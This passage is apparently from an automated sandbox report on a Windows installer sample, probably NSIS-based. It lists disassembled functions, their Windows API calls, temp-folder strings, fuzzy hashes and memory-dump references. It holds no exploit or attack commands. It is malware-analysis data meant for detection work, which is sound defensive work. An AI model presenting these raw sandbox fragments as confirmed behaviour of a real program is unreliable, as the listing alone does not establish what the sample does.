Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 906fe2e33ec339045028823105f1a28636d6cdc7c4a53a0106b9bb612f22f5f3
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9121A171900158BACB119F65DD449CFBFB4EF45350F50843AF508B62A0C3794A50CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406805 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
CharNextW.USER32(?,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

Strings

*?|<>/":, xrefs: 00406857
C:\Users\user\AppData\Local\Temp\, xrefs: 00406806

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1201062745
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: fa9c0ef9ae643832d728fa0671e6943ea0b093c18f887e6db6f7fe1f852dcfd9
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: F111932780221299DB303B148C40E7766E8AF54794F52C43FED8A722C0F77C4C9286AD

Uniqueness

Uniqueness Score: -1.00%

Function 00404E91 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404EAC
GetMessagePos.USER32 ref: 00404EB4
ScreenToClient.USER32(?,?), ref: 00404ECE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EE0
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F06

Strings

f, xrefs: 00404EE2

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: eb967d7d92909976ed67768bbc6bf91133f1097352fa1b537f2083fc5134d3bd
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: AB019E71900219BADB00DB94DD81FFEBBBCAF95710F10412BFB11B61C0C7B4AA018BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(0008265D,00000064,00082661), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: b4a4546c530c1255e03538258eeb387f0310dfe45b0532776fb26864182fd6cc
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 8D014F71640208BBEF209F60DE49FEE3B79AB04344F108039FA02B91D0DBB99A559B59

Uniqueness

Uniqueness Score: -1.00%

Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: 9240dae09012554c896714223f9a1d047de53ad28ef79bac3653223f28d0231c
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: 3931AD71D00124BBCF21AFA5CE89D9E7E79AF49324F10423AF521762E1CB794D419BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON

Download Yara Rule

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 7c59605d0ca35e0e1f1170af87acd2d95b5481229a772e02f8b12e0d157fbf49
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 2A216B7150010ABFDF119F90CE89EEF7B7DEB54398F100076B949B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction ID: ff9804e90d7d2423da96771145ec8c84d1acc30631874d8c14b803c0354ed8c3
Opcode Fuzzy Hash: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction Fuzzy Hash: 73210772900119AFCB05DF98EE45AEEBBB5EF08314F14003AF945F62A0D7789D81DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction ID: a825ad976d3f878f3d1ae6f085165680ecf176d60430839047bda31eedf7821d
Opcode Fuzzy Hash: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction Fuzzy Hash: 62017571905240EFE7005BB4EE49BDD3FA4AB15301F10867AF541B61E2C7B904458BED

Uniqueness

Uniqueness Score: -1.00%

Function 00401C48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CB8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CD0

Strings

!, xrefs: 00401C84

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction ID: 3d1946e732457e70d46414fe723373bc78a31951f468440fe5e33f287296c6aa
Opcode Fuzzy Hash: 069d8cd0b50c9c3d23d30c496d0653b5436aef65d2998253063e1abfe41eec6a
Instruction Fuzzy Hash: BC21AD71D1421AAFEB05AFA4D94AAFE7BB0EF84304F10453EF601B61D0D7B84941DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00404D83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
wsprintfW.USER32 ref: 00404E2D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

%u.%u%s%s, xrefs: 00404E0E

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: 0fe25742dfe6cfa92c38baccc724587d3b65f537d6828788df476db8ac6fa50e
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: B111EB336042283BDB109A6DAC45E9E329CDF85374F250237FA65F71D1E978DC2282E8

Uniqueness

Uniqueness Score: -1.00%

Function 00405E26 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E2C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E36
lstrcatW.KERNEL32(?,0040A014), ref: 00405E48

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E26

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: dcb1dcffde27bcde4b46a4bd7655c85b8e924b1ae314dab144fc932f30a80b76
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: 9DD0A731501534BAC212AB54AD04DDF62AC9F46344381443BF141B30A5C77C5D51D7FD

Uniqueness

Uniqueness Score: -1.00%

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004031FC,00000001), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction ID: 9291db8f65f8f9a8906298ccab22143765a9ea5c3e1cf5a275661437a5304794
Opcode Fuzzy Hash: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction Fuzzy Hash: 22F08970602A21AFC6306F50FE09A9B7F68FB45B52B51053AF445B11ACCB345C91CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405F2E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 00405ED1: CharNextW.USER32(?,?,0042F270,?,00405F45,0042F270,0042F270,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

lstrlenW.KERNEL32(0042F270,00000000,0042F270,0042F270,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405F87
GetFileAttributesW.KERNEL32(0042F270,0042F270,0042F270,0042F270,0042F270,0042F270,00000000,0042F270,0042F270,75923420,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 00405F97

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F2E

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-823278215
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 0bce86d1d95a7c790b53086ee47358a3377499fb664fcb231eb74dc800c81f90
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 7AF0F43A105E1269D622733A5C09AAF1555CE86360B5A457BFC91B22C6CF3C8A42CCBE

Uniqueness

Uniqueness Score: -1.00%

Function 00405550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040557F
CallWindowProcW.USER32(?,?,?,?), ref: 004055D0

Part of subcall function 00404522: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Strings

, xrefs: 00405560

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: 994decb8795c597c60d879b60f38f30bda4d2919c1ffc13ce94f3a2918c86729
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 1C01717120060CBFEF219F11DD84A9B3B67EB84794F144037FA41761D5C7398D529A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403B94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75923420,00000000,C:\Users\user\AppData\Local\Temp\,00403B6C,00403A82,?,?,00000008,0000000A,0000000C), ref: 00403BAE
GlobalFree.KERNEL32(00000000), ref: 00403BB5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B94

Memory Dump Source

Source File: 00000000.00000002.2013727024.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2013702121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013754171.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013767501.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2013828842.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xwREqjHUEv.jbxd

Similarity

